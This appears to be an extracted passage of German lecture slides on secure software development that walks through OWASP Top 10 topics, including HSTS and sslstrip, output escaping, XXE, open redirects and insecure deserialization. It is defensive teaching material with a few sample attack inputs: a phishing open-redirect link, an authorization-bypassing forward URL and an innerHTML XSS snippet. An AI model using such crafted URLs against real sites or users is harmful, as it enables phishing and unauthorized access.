selbstsigniert, expired oder falsche Domain) Nur ca. 5% aller HTTPS-geschützten Webseiten verwenden HSTS1, obwohl der Standard seit 11/2012 existiert und von allen aktuellen Browsern unterstützt wird . → Das wollen wir ändern! 1http://news.netcraft.com/archives/2016/03/17/95-of-https-servers-vulnerable-to-trivial-mitm-attacks.html Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 42 Wie wird TLS im Web aktiviert? Kein Nutzer tippt das Protokoll („http:// “ bzw. „https://“) im Browser ein HTTPS wird deshalb für gewöhnlich aktiviert durch Klick auf einen HTTPS-Link (z. B. bei Login-Seite) 302 Redirect von einer HTTP URL auf eine HTTPS URL Folge: Die Nutzer greifen immer zuerst per HTTP auf eine Webseite zu! Grunlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 06 Seite 43 Downgrade-Angriff mit sslstrip1 Der Angreifer führt einen MITM durch HTTP TLS Opfer MITM Webserver Analysiere die HTTP-Daten und ändere „https“ in „http“: → → > " → " ' → ' / → / ESAPI Beispiel: String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 30 HTML Attribut Output-Escaping Benutzereingaben, die in einem HTML-Attribut ausgegeben werden (z. B. …) Umwandlung folgender Metazeichen: Alle ASCII-Zeichen (außer alphanumerische) werden als &#xHH dargestellt ESAPI Beispiel: String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 31 Javascript Output-Escaping Benutzereingaben, die in einem Javascript-Kontext ausgegeben werden (z. B. alert('DATA')) Umwandlung folgender Metazeichen: Alle ASCII-Zeichen (außer alphanumerische) werden als \xHH dargestellt ESAPI Beispiel: String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) ); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 32 CSS Output-Escaping Benutzereingaben, die in einem CSS-Kontext ausgegeben werden (z. B. selector { property : "DATA"; } ) Umwandlung folgender Metazeichen: Alle ASCII-Zeichen (außer alphanumerische) werden als \HH dargestellt ESAPI Beispiel: String safe = ESAPI.encoder().encodeForCSS( request.getParameter( "input" ) ); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 33 URL Output-Escaping Benutzereingaben, die als Parameter in einer URL eingefügt werden (z. B. link) Umwandlung folgender Metazeichen: Alle ASCII-Zeichen (außer alphanumerische) werden als %HH dargestellt ESAPI Beispiel: String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) ); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 34 Advanced XSS Example XSS in CSRs und Certificates Quellen: https://binaryfigments.com/2017/09/28/xss-in-a-certificate-signing-request/, https://binaryfigments.com/2017/12/11/dont-trust-all-ssl-tls-certificates/ Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 35 XSS – Checkliste Validieren Sie alle Eingabequellen (Benutzereingaben inklusive aller URL-Parameter, Webservices, DB, HTTP-Header, …) Führen Sie ein dem jeweiligen Kontext angepasstes Output- Escaping durch (neben „OWASP ESAPI“ ist das leichtgewichtige „OWASP Java Encoder Project“ zu empfehlen) Überprüfen Sie, inwiefern ihr GUI-Framework (z. B. JSF) sie bereits beim Schutz vor XSS unterstützt und ob dieser Schutz auch wirklich umfassend ist Für DOM-basiertes XSS gelten besondere Regeln (siehe https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XS S_Prevention_Cheat_Sheet.html) Schützen Sie Cookies immer mit dem „HttpOnly“ Flag Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 07 Seite 36 OWASP Top 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Authentication Entities (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Miscon- Scripting (XSS) Deserialization Control figuration A9: Using A10: Known Insufficient Vulnerable Logging & Components Monitoring Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 1 A4 – XML EXTERNAL ENTITIES (XXE) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 2 A4 – XML External Entities (XXE) Quelle: OWASP Top 10 – 2017 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 3 XML XXE – Beispiele Quelle: OWASP Top 10 – 2017 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 4 XXE – Gegenmaßnahmen Wenn möglich, weniger komplexe Datenformate, wie JSON verwenden Aktuelle XML-Parser verwenden XML External Entity- und DTD-Verarbeitung abschalten Serverseitiges XML-Whitelisting Erste Anlaufstelle: OWASP XML XXE Prevention Cheat Sheet → https://cheatsheetseries.owasp.org/cheatsheets/XML_E xternal_Entity_Prevention_Cheat_Sheet.html Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 5 DoS Angriff: Billion Laughs Attack Der XML Parser expandiert das Root-Element zu 1 Mrd. Lols (1 Kbyte werden zu 3 Gbyte) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 6 Billion Laughs Attack – Gegenmaßnahmen Begrenzung des zugeordneten Speichers für den jeweiligen Parser Problemerkennung durch den Parser wenn Entitäten wieder zu Entitäten aufgelöst werden Behandlung von Entitäten als Symbole (keine Auswertung) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 7 Zusatzmaterial Ergänzendes zu XXE Liebe Studierende, anbei ergänzendes und sehr gutes Material von der Portswigger Web Security Academy zu XXE- Angriffen: Eine kurze und knackige Erklärung, was XML entities überhaupt sind: https://portswigger.net/web- security/xxe/xml-entities What is XXE?: https://portswigger.net/web-security/xxe (SSRF und Blind XXE injection haben wir nicht behandelt) Viele Grüße, Andreas Mayer Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 8 A10 (2013) – UNVALIDATED REDIRECTS AND FORWARDS Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 1 Quelle: OWASP Top 10 – 2013 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 2 Grundlagen: Redirects and Forwards Die Weiterleitung eines Benutzers auf eine andere Domain (Redirect) oder einen anderen Bereich der Webanwendung (Forward) Das Weiterleitungsziel wird (meist) über einen URL- Parameter angegeben http://www.a.com/redirect.jsp?redirect=http://www.b.com http://www.a.com/boring.jsp?forward=info.jsp Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 3 Forwards Werden intern in der Webanwendung realisiert. Der Request wird dabei an ein anderes Servlet gesendet Der Browser bemerkt den Forward nicht, d. h. die URL im Browser ändert sich nicht Ein Reload der Seite erzeugt den gleichen Request mit der Original URL Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 4 Forwards – Was kann passieren? Manche Seiten steuern über einen URL-Parameter, wohin ein Benutzer nach einer erfolgreichen Transaktion „geforwarded“ werden soll Beispiel: Umgehen der Autorisierung Der Angreifer erzeugt folgende URL http://www.example.com/boring.jsp?fwd=admin.jsp Nach einer erfolgreichen Transaktion, wird der Angreifer auf die Administratorseite weitergeleitet, für welche er (als gewöhnlicher Benutzer) überhaupt nicht autorisiert ist Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 5 Redirects Ein 2-stufiger Prozess 1. Der Webserver weist den Browser an, eine zweite URL zu laden 2. Der Browser lädt die URL Ein Reload lädt die in Schritt 2 geladene Seite neu, wiederholt aber nicht Schritt 1 Redirects sind dadurch etwas langsamer als Forwards Die Parameter aus dem 1. Request werden nicht übernommen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 6 Realisierung von Redirects HTTP Redirect Status Codes (3xx) Java-Beispiel per „302 found“: response.sendRedirect(newURL); Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 7 Realisierung von Redirects (2) HTTP Meta Refresh (im Kopf der HTML-Datei) JavaScript Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 8 Redirects – Anwendungsgebiete Weiterleitung bei Tippfehlern Z. B. www.gogle.de leitet automatisch auf www.google.de um URL Shortening https://example.com/about/index.html → https://goo.gl/aO3Ssc Weiterleitung auf neue Domain, damit veraltete Links weiterhin auf aktuelle Inhalte zeigen Beispiele: Der Domainname hat sich geändert, Benutzerseiten werden woanders gepflegt oder Webseiten fusionieren Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 9 Redirects – Anwendungsgebiete (2) Logging von Links, welche auf externe Webseiten verweisen Anstatt den Benutzer direkt per auf die Zielseite weiterzuleiten, wird ein Redirect mit dem Ziel als URL- Parameter an den Browser gesendet http://mytrustedsite.com/redirect.jsp?url=http://www.google.de Dadurch erscheint im Logfile des Webservers die Ziel-URL Der Webserverbetreiber weiß dadurch, auf welche externen Links der Benutzer geklickt hat Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 10 Redirects – Anwendungsgebiete (3) Für Cross-Domain-Kommunikation (z. B. Single Sign-On) Um Daten von einer Domain A auf eine Domain B, über den Browser, zu übertragen 1. GET https://a/transfer Site A 2. 302 Redirect Location: https://b/?data=ABC Browser 3. GEThttps://b/?data=ABC 4. 200 OK Site B Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 11 Redirects – Anwendungsgebiete (4) Weiterleitung auf eine zugriffsgeschützte URL nach Login 1. Der Benutzer greift auf eine URL zu, für welche er nicht autorisiert ist (http://www.fauxbank.co.uk/transfer) 2. Die Anwendung authentifiziert den Benutzer und speichert die zugegriffene Seite in einem URL-Parameter (www.fauxbank.co.uk/login?error=notloggedin&returnurl=/transfer) 3. Nach erfolgreichem Login wird der Benutzer automatisch auf die zuerst aufgerufene URL weitergeleitet (http://fauxbank.co.uk/transfer) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 12 Angriff: Weiterleitung auf eine Phishing-Seite Angreifer sendet dem Opfer folgenden Link in einer E-Mail: http://www.fauxbank.co.uk/login?error=notloggedin&returnu rl=http://www.fauxbak.co.uk/login.php Nach erfolgreichem Login landet das Opfer auf der Phishing-Seite und soll die Zugangsdaten nochmal eingeben Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 13 Angriff 2: Verschleierte URLs (in the wild) http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain& DomainUrl=http%3A%2F%2F%32%31 %31%2E%31%37%32%2E%39%36%2E %37%2FUpdateCenter%2FLogin%2F %3FMfcISAPISession%3DAAJbaQqzeH AAeMWZlHhlWXS2AlBXVShqAhQRfhgT DrferHCURstpAisNRqAhQRfhgTDrferHC URstpAisNRpAisNRqAhQRfhgTDrferHC UQRfqzeHAAeMWZlHhlWXh Quelle: http://www.netcraft.com/security-testing/open-redirect-detection/ Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 14 Gegenmaßnahmen Prävention: Redirects/Forwards ganz vermeiden Redirect- und Forward-Parameter müssen immer validiert werden Prüfen: Handelt es sich um eine korrekt formatierte URL? Whitelist mit erlaubten Weiterleitungsziele implementieren Ein indirektes Mapping realisieren (siehe A05 – Broken Access Control), z. B. http://mytrustedsite.com/Redirect.aspx?Id=DB7E-4F16-8A61- 72C9CEA5D58D verweist auf http://mytrustedsite2.com Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 9 Seite 15 Woche 10 OWASP TOP 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Authentication Entities (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Misconfigurati Scripting (XSS) Deserialization Control on A9: Using A10: Known Insufficient Vulnerable Logging & Components Monitoring Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 1 Woche 10 A8 – INSECURE DESERIALIZATION Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 2 Woche 10 A8 – INSECURE DESERIALIZATION > Seit der OWASP Top 10 - 2017 neu dabei > Keine neue Schwachstelle – schon sehr lange bekannt > Betroffen sind alle Programmiersprachen, welche Serialisierung erlauben > Wurde aufgrund einer Industrieumfrage aufgenommen nicht auf Grundlage quantifizierbarer Daten > “Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. “ (Quelle: OWASP Top 10 – 2017) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 3 Woche 10 A8 – INSECURE DESERIALIZATION Quelle: OWASP Top 10 – 2017 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 4 Woche 10 A8 – INSECURE DESERIALIZATION Serialisierung Deserialisierung Text Objekt Objekt (z. B. JSON) Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 5 Woche 10 BEISPIEL: PHP Quelle: OWASP Top 10 - 2017 Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 6 Woche 10 BEISPIEL: JAVASCRIPT person = { username = „hacked42“, age = 42 } serialized = JSON.stringify(person) //'serialized' is now a string deserialized = JSON.parse(serialized) //'deserialized' is now the same as 'person' document.getElementById(„username“).innerHTML = deserialized.username; //if the attacker controls the 'serialized'-variable, this would lead to XSS Quelle: In Anlehnung an https://blog.detectify.com/2018/03/21/owasp-top-10-insecure-deserialization/ Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 7 Woche 10 REAL WORLD EXAMPLES Equifax Hack: https://www.heise.de/security/meldung/Equifax-Hack-Angreifer-ueber-Apache-Struts- Luecke-eingestiegen-3831905.html Friday the 13th JSON Attacks: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON- Attacks-wp.pdf Unsichere Deserialisierung gefährdet Steam-Spiele: https://www.heise.de/news/Unsichere-Deserialisierung-gefaehrdet-Steam-Spiele- 4706122.html Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 8 Woche 10 CHECKLISTE > Serialisierte Objekte nur aus vertrauenswürdigen Quellen annehmen, wenn möglich nur Datenformate mit primitiven Datentypen zulassen > Serialisierte Objekte signieren > Wie immer: Validate all input!!! > Wenn möglich, Deserialisierung mit niedrigen Rechten ausführen > Deserialisierungs Exceptions/Warnungen monitoren und loggen Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 9 Woche 10 OWASP TOP 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Authentication Entities (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Misconfigurati Scripting (XSS) Deserialization Control on A9: Using A10: Known Insufficient Vulnerable Logging & Components Monitoring Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 10 Woche 10 A10 – INSUFFICIENT LOGGING & MONITORING Grundlagen der sicheren Softwareentwicklung (MIB), Prof. Dr. -Ing. Andreas Mayer Seite 11 Woche 10 A10 – INSUFFICIENT LOGGING & MONITORING Seit der OWASP Top 10 2017 neu dabei. “Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. “ (Quelle: OWASP To
